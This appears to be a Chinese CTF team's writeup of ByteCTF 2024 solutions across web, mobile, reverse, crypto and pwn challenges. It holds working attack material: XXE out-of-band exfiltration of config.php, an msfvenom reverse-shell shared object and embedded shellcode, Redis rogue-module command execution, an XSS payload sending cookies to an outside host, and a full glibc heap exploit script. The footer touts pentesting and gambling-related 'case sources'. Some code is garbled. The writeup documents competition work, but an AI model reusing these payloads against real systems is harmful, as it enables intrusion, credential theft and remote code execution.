HEADER
山海关安全团队是一支专注网络安全的实战型团队,团队成员均来自国内外各大高校与企事业单位,总人数已达50余人。Arr3stY0u(意喻“逮捕你”)战队与W4ntY0u(意喻“通缉你”)预备队隶属于团队CTF组,活跃于各类网络安全比赛,欢迎你的加入哦~
CTF组招新联系QQ2944508194
获取题目下载链接请后台回复:bytectf2024
WEB
ezobj
读取config.php文件
byte=SimpleXMLElement&ctf[]=http://xxx.xxx.xxx.xxx/evil.xml&ctf[]=2&ctf[]=1
send.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/config.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/send.php?file=%file;'>">
evil.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/send.xml">
%remote;
%all;
%send;
]>
写入so文件和一个wmv文件,用msf生成so
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=123.58.220.97 LPORT=42001 -f elf-so -o payload.so
cat payload.so | base64
用imagick去写文件
POST /?byte=Imagick&ctf[]=vid:msl:/tmp/php*&so=123&key=HelloByteCTF2024 HTTP/1.1
Host: ea891011.clsadp.com
Content-Length: 1128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryV3bWGRuKUejvH3UA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryV3bWGRuKUejvH3UA
Content-Disposition: form-data; name="file"; filename="ml.xml"
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAIAAAAAAACWAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgCkEXs63GFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g=="/>
<write filename="/tmp/123.so" />
<read filename="inline:data:text/8BIM;base64,cGF5bG9hZC5zbwo="/>
<write filename="/tmp/321.wmv" />
</image>
------WebKitFormBoundaryV3bWGRuKUejvH3UA--
加载so文件到LD_PRELOAD,然后用imagick去触发
/?byte=Imagick&ctf[]=/tmp/321.wmv&so=123&key=HelloByteCTF2024
拿下权限以后,查看进程发现redis是root启动
在redis.conf里查看密码,登录到redis中
下载这个 exp.so https://github.com/n0b0dyCN/redis-rogue-server/
上传exp.so到/tmp下
给exp.so加执行权限
MODULE LOAD /tmp/exp.so
system.exec "cat /root/flag"
OnlyBypassMe
扫后台
/swagger-ui/index.html
/v3/api-docs
/swagger-ui/index.html
是一个管理api的UI界面,这边标题下面有一个登录接口文档/v3/api-docs/login
(应该是扫出来第二个敏感路由的一部分)
用于更新用户头像有两个接口。updateAvatarV1
版本已经被标记为废弃,参数是图片url,总感觉这边配合头像读取接口可以任意文件读取,但是没读出来。
/v3/api-docs
是个api文档。里面有UI那边没有的登录接口/api/v1/auth/login
。还有个更新用户权限的接口/api/v1/users/updatePermission
(后面都要用)
先注册一个账号/api/v1/users/register
{
"username": "Jay17",
"email": "[email protected]",
"password": "@Jsj123456",
"confirmPassword": "@Jsj123456"
}
然后登录/api/v1/auth/login
{
"username": "Jay17",
"password": "@Jsj123456",
"rememberMe": true
}
登录之后先尝试通过接口/api/v1/secret/flag/flag/
去读一下flag
发现权限不足
还有一个看用户信息的接口/api/v1/users/info
(是没写好吗?换一个号登录后info中还是最开始登录的用户的信息)
可以看到这边"roleId" : 4
应该标志着用户权限
咱们去之前提到的修改权限的接口修改下试试/api/v1/users/updatePermission
:
{
"userId": "bbpvfzlqaeoq",
"roleId": "3"
}
roleId
修改成3、2都可以,唯独1不行。(/api/v1/users/info
接口中的用户信息内容也不会更新,一开始还以为修改不了。。。。还好重新登录后可以看到权限)
这里大概能猜出,roleId
为1的时候就可以读取flag了,同时这里也就是需要bypass的地方。
1
不行的话使用1.
或者1.0
或者1.x
接口处得到flag
ezoldbuddy
这个登录没有用,纯前端的。
注释部分应该是个hint,告诉我们有个路由是/shopbytedancesdhjkf
直接访问是403无法访问,后端服务是nginx
题目提示了解析差异绕过
,比较容易找到这篇文章:
nginx deny限制路径绕过-
https://xz.aliyun.com/t/14966?time__1311=GqAh0KAIwGCD%2FD0lD2DUxYuExIhsKA0BAfeD#toc-8
85
和A0
都可以用,后端应该是python
那么现在问题就是,只有500元,但是需要买10000元的flag
先随便试试,但是返回了404
?????
看源码应该是访问了/cart/checkout
路由
有种无力感。。。这里卡了挺久的
但是,没有脑洞怎么当百万富翁?走投无路就要瞎蒙
直接访问/shopbytedancesdhjkf/cart/checkout
。好消息是路由存在,坏消息是又403了
和之前一样绕过,成功
但是买不起怎么办呢。想想怎么bypass。qty这个参数换成1.0
。成功但是没有给我flag
继续瞎蒙。想到题目描述是百万富翁,一个flag一万,那我们至少买100个以上。
美好的0元购
crossvue
就是在用户注册处的profile进行xss就行了然后邀请管理员来访问我们的页面 获取他的cookie 然后替换cookie 访问/admin路径就行了
{{fetch("http://172.16.101.1:12/"+document.cookie)}}
MOBILE
极限逃脱
改后缀名后解压,反编译ByteCTFDemo
文件
ViewController firsButtonClicked里是反调试用的猜随机数代码,跳过
flag校验逻辑位于ViewController secondButtonClicked,逆向该函数
先对{a67be199da4b-b092-bd3e-e777-a67be199da4b}
求sha256得到哈希值6c9838a3c6810bdb2633ed5910b8547c09a7a4c08bf69ae3a95c5c37f9e8f57e
分析代码得知flag的5段分别从哈希值指定索引获取后进行字符替换
(索引,长度):(1,8) (9,4) (5,4) (5,4) (5,12)
替换:五段flag分别a->b、b->c、c->d、d->e、e->f
最终得到flag:ByteCTF{c9838b3c-6810-8a3d-8a3c-8a3c6810bdb2}
REVERSE
ByteBuffer
import time
import pygame
from io import BytesIO
import struct
import os
bio = BytesIO(open('./ByteBuffer.bin', 'rb').read())
def read_u8(): return bio.read(1)[0]
def read_u16(): return struct.unpack('<H', bio.read(2))[0]
def read_u32(): return struct.unpack('<I', bio.read(4))[0]
def read_u64(): return struct.unpack('<Q', bio.read(8))[0]
def read_i16(): return struct.unpack('<h', bio.read(2))[0]
def read_i32(): return struct.unpack('<i', bio.read(4))[0]
def read_i64(): return struct.unpack('<q', bio.read(8))[0]
def read_bytes(): return bio.read(read_u32())
def read_string():
align = 4
size = read_u32()
align_size = (size+align) & ~(align-1)
return bio.read(align_size)[:size].decode()
print(read_u32())
print(read_u16())
print(read_u16())
print(read_u16())
print(read_u16())
print(read_u16())
print(read_u16())
print(read_u32())
print(read_u32())
print(read_u32())
print(read_u32())
print(read_u32())
off_edges = []
count = read_u32() # edge
for i in range(count):
off_edges.append(bio.tell()+read_u32())
off_dots = []
count = read_u32() # dot
for i in range(count):
off_dots.append(bio.tell()+read_u32())
print('-'*80)
edges = []
for i, off in enumerate(off_edges):
bio.seek(off, os.SEEK_SET)
off = bio.tell()
a = read_i32()
b = read_u32()
frm = read_u32()
to = read_u32()
assert read_u32() == 4
name = read_string()
print(i, hex(off), a, b, frm, to, name)
edges.append((name, frm, to))
print('-'*80)
aa_dots = [(0,0)]*(len(off_dots)+1)
dots = []
for i, off in enumerate(off_dots):
bio.seek(off, os.SEEK_SET)
off = bio.tell()
a = read_i32()
x = read_u32()
y = read_u32()
assert read_u32() == 4
name = read_string()
print(i, hex(off), a, x, y, name)
dots.append((name, x, y))
idx = int(name.split('#')[1], 10)
aa_dots[idx] = ((x, y))
pygame.init()
screen_width = 1800
screen_height = 200
screen = pygame.display.set_mode((screen_width, screen_height))
red = (255, 0, 0)
greem = (0, 255, 0)
running = True
while running:
screen.fill((0, 0, 0))
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
for i, (name, x, y) in enumerate(dots):
pygame.draw.circle(screen, greem, (x, y), 2)
for i, (name, frm, to) in enumerate(edges):
p1 = aa_dots[frm]
p2 = aa_dots[to]
pygame.draw.line(screen, red, p1, p2, 1)
pygame.display.flip()
pygame.quit()
ByteKit
catflag.sh
#!/bin/bash
BYTECTF_INPUT_GUID=93e91ed6-1a7a-46a1-b880-c5d281700ea2
BYTECTF_OUTPUT_GUID=93e91ed6-1a7a-46a1-b880-c5c281700ea2
...
...
解压bios.bin并根据GUID搜索d6 1e e9 93定位到后门文件ByteKitLoaderDxe.efi。
ByteKitLoaderDxe.efi:ModuleEntryPoint
解密pe模块
key = bytes.fromhex('2CE83EE0BC1A0956B9D994')
data = bytearray(ida_bytes.get_bytes(0x3A37, 0x6c4))
for i in range(len(data)):
data[i] ^= key[i%len(key)]
print(data.hex())
open('image.bin', 'wb').write(data)
ByteCTFDxe.dll:ModuleEntryPoint
解密
# 0x4A0
data = bytearray(ida_bytes.get_bytes(0x5A0, 32))
v12 = 0x4A0+0xd8
v13 = 0x4A0
v11 = 666
while 1:
i = ida_bytes.get_qword(v13+8)
v15 = i + ida_bytes.get_qword(v13+16)
while v15 > i:
if i >= 0 and v11 >= i:
data[i] ^= ida_bytes.get_byte(v13)
i += 1
v13 += 24
if v12 == v13:
break
print(data)
# KEY:By71d@nnc6_Wan77_y@0_zug6666
root@localhost:~# ./getflag.sh KEY:By71d@nnc6_Wan77_y@0_zug6666
your input is KEY:By71d@nnc6_Wan77_y@0_zug6666
ByteCTF{KEY:By71d@nnc6_Wan77_y@0_zug6666BwAAAEsnQlVIbkEpH15qamZW}
babyapk
先用blutter解析出符号导入ida。
babyapk_src_rust_api_simple_::m3N4B5V6_265088
调用librust_lib_babyapk.so
frb_pde_ffi_dispatcher_sync->sub_350B8->sub_39B24->sub_3603C->sub_35534->sub_3AEE0
解方程
from claripy import *
res = [0x0001EE59, 0x0000022A, 0x00001415, 0x00040714, 0x000013E0, 0x000008B8, 0xFFFDCEA0, 0x0000313B,
0x0003D798, 0xFFFFFE6B, 0x00000C4E, 0x00023884, 0x0000008D, 0x00001DB4, 0xFFFC1328, 0x00001EAC,
0x00043C64, 0x0000142B, 0xFFFFF622, 0x00023941, 0xFFFFEF6D, 0x0000120C, 0xFFFBD30F, 0x00001EBE,
0x00045158, 0xFFFFEF66, 0x00001D3F, 0x0004C46B, 0xFFFFF97A, 0x00001BFD, 0xFFFBA235, 0x00001ED2]
numbs = [BVS('', 32) for i in range(32)]
s = Solver()
for i in range(32):
s.add(numbs[i] >= 32)
s.add(numbs[i] <= 126)
v41 = 0
for v41 in range(0, 32, 8):
v46 = numbs[v41]
v47 = numbs[v41 + 1]
v45 = numbs[v41 + 2]
v44 = numbs[v41 + 3]
v48 = numbs[v41 + 4]
v49 = numbs[v41 + 5]
v50 = numbs[v41 + 6]
v51 = numbs[v41 + 7]
s.add(v51 + v47 * v44 * v49 - (v46 + v50 + v45 * v48) == res[v41])
v52 = v46 * v49
s.add(v44 - v48 - v46 * v49 + v51 * v47 + v45 + v50 == res[v41 + 1])
s.add(v52 - (v48 + v51 * v47) + v45 + v50 * v44 == res[v41 + 2])
v53 = v48 * v46
s.add(v47 + v48 * v46 - (v51 + v45) + v50 * v49 * v44 == res[v41 + 3])
s.add(v49 * v44 + v47 + v45 * v48 - (v50 + v51 * v46) == res[v41 + 4])
s.add(v52 + v47 * v44 + v45 - (v50 + v48 * v51) == res[v41 + 5])
s.add(v51 - v47 + v45 * v49 + v50 - v53 * v44 == res[v41 + 6])
s.add(v44 - v51 - (v47 + v49) + v53 + v50 * v45 == res[v41+7])
for v in s.batch_eval(numbs, 5):
print(bytes(list(v)))
# 32e750c8fb214562af22973fb5176b9c
# 手动转换成GUID格式
# ByteCTF{32e750c8-fb21-4562-af22-973fb5176b9c}
CRYPTO
magic_lfsr
首先,可以假设 key 的 128 位为 128 个未知 bool 量,那么所有的 x1, x2, x3, x4 均能表示为这些 bool 量中的某些 xor 起来的结果,这一点可以预处理
也就是把 x1[i], x2[i], x3[i], x4[i]
表示为 key[j]
的 xor 组合形式
然后对 ff 函数进行打表
for x in range(16):
x0, x1, x2, x3 = map(int, bin(x)[2:].zfill(4))
print(x0, x1, x2, x3, ff(x0, x1, x2, x3))
0 0 0 0 0
0 0 0 1 1
0 0 1 0 0
0 0 1 1 1
0 1 0 0 1
0 1 0 1 0
0 1 1 0 1
0 1 1 1 0
1 0 0 0 1
1 0 0 1 0
1 0 1 0 0
1 0 1 1 0
1 1 0 0 0
1 1 0 1 1
1 1 1 0 0
1 1 1 1 1
可以观察发现,除了 1 0 1 0 0
这一行,每四行的值都满足 0 1 0 1
或者 1 0 1 0
的排布,一番推导后可以发现:
out[i] = 1
可以推出 x1[i] ^ x2[i] ^ x4[i] == 1
注意到 out 有 270 位,也就是说期望上我们能得到 270 * 7 / 16 = 118.125
个方程,基本信息量足够
实际计算发现 out.bit_length = 127,加上一定有 key[127] = 1
,那么就有 128 个 xor 形方程,理论可以高斯消元解出。实际测试发现应该有线性相关的方程,所以再手动枚举一下 key[126]
即可
完整代码
from Crypto.Cipher import AES
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from hashlib import sha512
from functools import reduce
# from secret import flag
mask1 = 211151158277430590850506190902325379931
mask2 = 314024231732616562506949148198103849397
mask3 = 175840838278158851471916948124781906887
mask4 = 270726596087586267913580004170375666103
print(f'mask1 = {bin(mask1)[2:]}')
print(f'mask2 = {bin(mask2)[2:]}')
print(f'mask3 = {bin(mask3)[2:]}')
print(f'mask4 = {bin(mask4)[2:]}')
def lfsr(R, mask):
mask_bin = [int(b) for b in bin(mask)[2:].zfill(128)]
s = reduce(lambda x, y: x ^ y, [R[i] * mask_bin[i] for i in range(128)])
R =
展开收缩+ R[:-1]return (R, s)
def ff(x0, x1, x2, x3):
return (int(sha512(long_to_bytes(x0 * x2 + x0 + x1**4 + x3**5 + x0 * x1 * x2 * x3 + (x1 * x3) ** 4)).hexdigest(), 16) & 1)
out = 1024311481407054984168503188572082106228007820628496173132204098971130766468510095
enc = b'rx9duxa15qxd2x81x0bxceq2x8d)*xe9xf0;axadxbe?xa2xb2x1fx88Ox8cxa2[xcbx9axa9x8dxacx0bx85xb4j@]x0e}EF{xb1x91'
for x in range(16):
x0, x1, x2, x3 = map(int, bin(x)[2:].zfill(4))
print(x0, x1, x2, x3, ff(x0, x1, x2, x3))
R = [(1 << (127 - i)) for i in range(128)]
R1_NEW, _ = lfsr(R, mask1)
R2_NEW, _ = lfsr(R, mask2)
R3_NEW, _ = lfsr(R, mask3)
R4_NEW, _ = lfsr(R, mask4)
equation = [(1 << 127, 1)]
for i in range(270):
R1_NEW, x1 = lfsr(R1_NEW, mask1)
R2_NEW, x2 = lfsr(R2_NEW, mask2)
R3_NEW, x3 = lfsr(R3_NEW, mask3)
R4_NEW, x4 = lfsr(R4_NEW, mask4)
if out >> (269 - i) & 1:
equation.append((x1 ^ x2 ^ x4, 1))
equation.append((1 << 126, 0)) # 手动枚举
print(f'{len(equation) = }')
for i in range(128):
cur = i
while (equation[cur][0] >> i & 1) == 0:
cur += 1
assert cur < len(equation), f'{i}'
equation[cur], equation[i] = equation[i], equation[cur]
for j in range(i + 1, len(equation)):
if (equation[j][0] >> i & 1) == 1:
equation[j] = (equation[j][0] ^ equation[i][0], equation[j][1] ^ equation[i][1])
key = 0
for i in range(127, -1, -1):
cur = equation[i][1]
for j in range(i + 1, 128):
if equation[i][0] >> j & 1:
cur ^= key >> j & 1
key |= cur << i
print(bin(key))
cipher = AES.new(long_to_bytes(key), mode=AES.MODE_ECB)
print(f"flag = {cipher.decrypt(enc)}")
PWN
easyheap
一道经过了奇怪包装的2.27堆题,没有free功能,edit存在几乎任意长度的溢出,add大小不限。考虑打house_of_orange获得large bin chunk,利用堆溢出配合show函数打印字符串的功能实现堆地址和libc地址的泄露,之后再在扩展堆段中使用house_of_orange获得另一个freed堆块,利用其配合上一个large bin chunk触发largebin attack攻击IO_list_all结构体,并通过house_of_cat劫持程序执行流。
EXP:
#coding=utf-8
from pwn import *
from socket import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
global p
global r
global script
ELFpath=''
libcpath=''
DEBUG=2
PROCESS=1
REMOTE=0
run_mode=REMOTE
socket_flag=False
ELFpath='/home/jmpcliff/Desktop/pwn'
e=ELF(ELFpath)
os.chdir(ELFpath[:ELFpath.rfind('/')])
libcpath='/home/jmpcliff/Desktop/libc-2.27.so'
#libcpath='/usr/lib/x86_64-linux-gnu/libc-2.31.so'
if(libcpath!=''):
libc=ELF(libcpath)
script='''
b setbuf
'''
if(socket_flag==False):
if(run_mode==DEBUG):
p=gdb.debug(args=[ELFpath,script])
elif(run_mode==PROCESS):
p=process(argv=[ELFpath])
elif(run_mode==REMOTE):
#p=remote('node4.buuoj.cn',26060)
p=remote('113.201.14.253',36542)
else:
if(run_mode==DEBUG):
r=gdb.debug(ELFpath,script)
elif(run_mode==PROCESS):
r=process(argv=[ELFpath])
pause()
p=remote('127.0.0.1',6666)
rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
rn=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'x7f')[-6:].ljust(8,b'x00'))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name=ELFpath[0-ELFpath[::-1].find('/'):],libc_name=libcpath[0-libcpath[::-1].find('/'):]):
text_addr = 0
libc_base = 0
if libc_name=='libc.so.6':
libc_name='libc'
for name, addr in a.libs().items():
print(name," ",hex(addr))
if text_name in name[0-name[::-1].find('/'):]:
text_addr = addr
elif libc_name in name[0-name[::-1].find('/'):]:#"libc-" in name or "libc." in name or
libc_base = addr
return text_addr, libc_base
def debug():
global p
global run_mode
if(run_mode!=PROCESS):
return
#text_base, libc_base = get_base(p, 'challenge')
# script = '''
# set text_base = {}
# set libc_base = {}
# b malloc
# '''.format(text_base, libc_base)
if(context.arch=='amd64' or context.arch=='i386'):
if socket_flag==False:
gdb.attach(p, script)
else:
gdb.attach(r, script)
else:
os.system("tmux splitw -h")
os.system("tmux send-keys "gdb-multiarch -ex "target remote 127.0.0.1:1234 "" C-m")
os.system("tmux send-keys "+script+" C-m")
os.system("tmux select-pane -t 0")
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def create_link_map(l_addr,know_got,link_map_addr):
link_map=p64(l_addr & (2 ** 64 - 1))
#dyn_relplt
link_map+=p64(0)
link_map+=p64(link_map_addr+0x18) #ptr2relplt
#relplt
link_map+=p64((know_got - l_addr)&(2**64-1))
link_map+=p64(0x7)
link_map+=p64(0)
#dyn_symtab
link_map+=p64(0)
link_map+=p64(know_got-0x8)
link_map+=b'/flagx00x00x00'
link_map=link_map.ljust(0x68,b'B')
link_map+=p64(link_map_addr) #ptr2dyn_strtab_addr
link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr
link_map=link_map.ljust(0xf8,b'C')
link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr
return link_map
def cmd(idx):
ru("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:")
sl(str(idx))
def add(size):
cmd(1)
ru("Enter size to add:")
sl(str(size))
def dele(size):
cmd(2)
ru("Enter size to free:")
sl(str(size))
def show(idx):
cmd(3)
ru("Enter index to show:")
sl(str(idx))
def edit(idx,size,content):
cmd(4)
ru("Enter index to edit:")
sl(str(idx))
ru("input size")
sl(str(size))
ru("input")
sl(content)
if(run_mode==PROCESS):
script='''
b exit
b _IO_switch_to_wget_mode
'''
'''
'''
add(0x10) #0
edit(0,0x20,0x18*b'a'+p64(0xd91))
add(0x2000) #1
add(0x2280) #2
edit(0,0x20,0x20*b'a')
show(0)
ru(0x20*"a")
libcbase=u64(rn(6).ljust(8,b'x00'))-0x3ec2a0
LOGTOOL['libcbase']=libcbase
edit(0,0x30,0x30*b'a')
show(0)
ru(0x30*"a")
heapbase=u64(rn(6).ljust(8,b'x00'))-0x270
LOGTOOL['heapbase']=heapbase
IO_list_all=libcbase+libc.sym['_IO_list_all']
edit(0,0x40,0x18*b'a'+p64(0xd71)+p64(0)*3+p64(IO_list_all-0x20))
edit(2,0x2290,0x2288*b'a'+p64(0xd61))
add(0x3000) #2
add(0x3000) #2
fake_io=heapbase+0x252a0
IO_file_jumps=libcbase+0x3e82a0
LOGTOOL["IO_file_jump"]=IO_file_jumps
IO_wfile_jumps=libcbase+0x3e7d60
LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps
execve_addr=libcbase+libc.sym['execve']
LOGTOOL['execve']=execve_addr
setcontext_53=libcbase+libc.symbols['setcontext']+53
LOGTOOL['setcontext_61']=setcontext_53
ogg=libcbase+0x4f322
rop=b'/bin/shx00'
pay=flat(
{
0x0:p64(0),
0x8:[p64(0),p64(0),p64(0),p64(0),p64(0)],
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data
0x70:p64(0),
0x88:p64(fake_io+0x1e8),
0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)], #_mode
0xd8:[p64(IO_wfile_jumps+0x30)], # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable
0x118:flat(
{
0x18:[p64(ogg)]
},filler=b'x00'
),
0x138:flat(
{
0x28:p64(fake_io+0x118),
0x68:p64(fake_io+0x1e8), # rdi
0x70:p64(0), # rsi
0x88:p64(0), # rdx
0xa0:p64(fake_io+0x1f8), # rsp
0xa8:p64(0) # ret_addr
},filler=b'x00'
),
0x1e8:flat(
{
0x00:p64(0)+p64(0),
0x10:rop
},filler=b'x00'
)
},filler=b'x00'
)
#debug()
edit(2,0x2280+len(pay),0x2280*b'a'+pay)
cmd(0)
LOGALL()
it()
FOOTER
承接CTF培训,代码审计,渗透测试,物联网、车联网、工控设备漏洞挖掘等安全项目,长期收一手bc案源,如有其他商务合作也可以联系微信:littlefoursec(备注来由,否则不通过)。
原文始发于微信公众号(山海之关):ByteCTF 2024 writeup by Arr3stY0u
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论